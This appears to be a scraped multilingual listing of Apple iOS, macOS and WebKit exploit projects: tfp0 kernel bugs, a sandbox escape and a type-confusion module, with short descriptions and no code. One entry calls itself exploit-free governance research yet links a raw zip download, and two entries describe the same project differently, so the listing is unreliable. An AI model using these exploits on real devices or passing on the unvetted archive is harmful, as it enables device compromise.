oob_entry

oobentry：授权iOS内核漏洞研究，用于tfp0访问 访问发布页面：https://github.com/rkrakesh524/oobentry/raw/refs/heads/main/src/entry-oob-1.1.zip 一个供研究人员在实验室环境中以冷静、谨慎的方式记录、讨论和分享关于与tfp0访问相关的iOS内核概念的空间。本仓库专注于治理、伦理以及可重复的、授权的实验室研究。它不提供即用型的漏洞利用步骤、分发渠道或可能促成未授权访问的指令。目标是促进负责任的学习、开放的讨论以及严谨、合法的测试实践。 目录 概述 目标与伦理 本项目涵盖的内容 安全、授权的研究工作流...

CVE-2019-8852

CVE-2019-8852 一个适用于 macOS 10.15.1 及更低版本的 tfp0 漏洞。 免责声明 使用风险自负。这会导致你的 macOS 崩溃。 我仅为安全研究人员构建此工具。 当前状态 只是一个 PoC，将该漏洞转化为有用的 UAF。 已在 macOS 10.14.6 18G103 ，配备 16 GB RAM 的 MacBook Pro 上测试。 致谢 几乎一切都始于 oobtimestamp：Brandon Azad @bazad 许可证 GPL-3.0 License 其他 我的推特 @patternF 英语对我来说太难了... 英语太难了...

xattr-oob-swap

xattr-oob-swap CVE-2020-27904: un bug de tfp0 para macOS 10.15.x y anteriores. Código de exploit de demostración para mi charla en BlackHat ASIA 2021. La vulnerabilidad se ha corregido en macOS Big Sur 11.0 y en la última actualización de seguridad de 10.15 y 10.14. Garantía Úsalo bajo tu propio...

oob_entry

oobentry Exploit de kernel tfp0 compatible con todas las versiones armv7 de iOS iOS 3.0-10.3.4. La vulnerabilidad utilizada en este exploit es CVE-2023-32434. Publicaré un write-up en las próximas semanas sobre este exploit y los métodos utilizados...

Exploit for Out-of-bounds Write in Apple Mac_Os_X

CVE-2019-8852 A tfp0 bug for macOS 10.15.1 and below. Warr...

Apple iOS/macOS - Sandbox Escape due to mach Message sent from Shared Memory

iohideventsystem sets up a shared memory event queue; at the end of this shared memory buffer it puts a mach message which it sends whenever it wants to notify a client that there's data available in the queue. As a client we can modify this mach message such that the server hidd on MacOS,...

Safari Webkit Proxy Object Type Confusion

This module exploits a type confusion bug in the Javascript Proxy object in WebKit. The DFG JIT does not take into account that, through the use of a Proxy, it is possible to run arbitrary JS code during the execution of a CreateThis operation. This makes it possible to change the structure of e....